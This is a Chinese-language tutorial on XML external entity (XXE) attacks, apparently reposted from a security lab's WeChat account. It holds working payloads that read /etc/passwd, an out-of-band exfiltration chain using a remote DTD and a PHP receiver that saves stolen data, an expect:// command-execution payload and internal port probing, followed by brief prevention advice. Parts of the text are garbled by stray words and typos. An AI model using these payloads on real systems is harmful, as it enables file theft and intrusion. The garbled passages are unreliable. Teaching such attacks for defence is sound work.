01 XML基礎知識php
02 XXE漏洞原理css
03 XXE漏洞利用html
04 XXE漏洞繞過方式nginx
05 XXE形成的危害flask
06 XML注入預防安全
01服務器
XML基礎知識
微信
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。DTD(文檔類型定義)的做用是定義 XML 文檔的合法構建模塊。DTD 能夠在 XML 文檔內聲明,也能夠外部引用。app
<?xml version=」1.0」> //xml聲明
<!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)> //文檔類型定義
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from> //文檔元素
<heading>Reminder</heading>
<body>Don’t forget the meeting</body>
02框架
XXE漏洞原理
內部聲明 DTD
<!DOCTYPE 根元素 [元素聲明]>
引用外部 DTD
<!DOCTYPE 根元素 PBULIC "public_ID" "文件名">
/或者
<!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY copyright "Copyright xx.xx.xx">
]>
<c>©right;</c>
(2) 包含外部實體的 XML 文檔
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY copyright SYSTEM "Copyright xx.xx.xx">
]>
<c>©right;</c>
03
XXE漏洞利用
libxml2:file、http、ftp
PHP:file、http、ftp、php、compress.zlib、compress.bzip二、data、glob、phar
Java:file、http、ftp、https、jar、netdoc、mailto、gopher
.NET:file、http、ftp、https
(2) 不一樣解析器可能默認對於外部實體會有不一樣的處理規則,有些可能不會對外部實體進行解析:
PHP:
-
DOMSimpleXML
.NET:
-
System.Xml.XmlDocumentSystem.Xml.XmlReader
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<c>&file;</c>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY % a "<!ENTITY b 'http://www.xxx.com'>"
%a;
]>
<c>&b;</c>
04
XXE漏洞繞過方式
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
![](http://static.javashuo.com/static/loading.gif)
方式2、xml內容爲:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY % d SYSTEM "http://ip/evil.dtd" >
%d;
]>
<root>
<name>&b;</name>
</root>
遠程vps服務器 www/html文件下創建evil.dtd文件,文件內容以下:
<!ENTITY b SYSTEM "file:///etc/passwd">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >
<!ENTITY % remote SYSTEM "http://ip/evil2.dtd" >
%remote;
%all;
%send;
]>
遠程端vps上在www/html文件夾下放置兩個文件一個爲test.php文件用於接收信息,另外一個爲test.dtd,其中test.php代碼以下:
<?php
$file = "./test.txt";
$content = base64_decode($_GET['file']);
file_put_contents($file , $content);
echo "\n";
?>
test.dtd中代碼以下:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://ip/xxe/test.php?file=%file;'>"
>
05
XML形成的危害
(1) 讀取任意文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
![](http://static.javashuo.com/static/loading.gif)
(2) 執行系統命令
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>
<name>&xxe;</name>
</root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]>
<root>
<name>&xxe; </name>
</root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]>
<root>
<name>&xxe;</name>
</root>
![](http://static.javashuo.com/static/loading.gif)
06
XML注入預防
< <
> >
& &
‘ '
「 "
二、過濾用戶提交的XML數據,關鍵詞:,SYSTEM和PUBLIC;
三、禁用外部實體:libxml_disable_entity_loader(true)
- 往期推薦 -
【推薦書籍】
本文分享自微信公衆號 - 貝塔安全實驗室(BetaSecLab)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。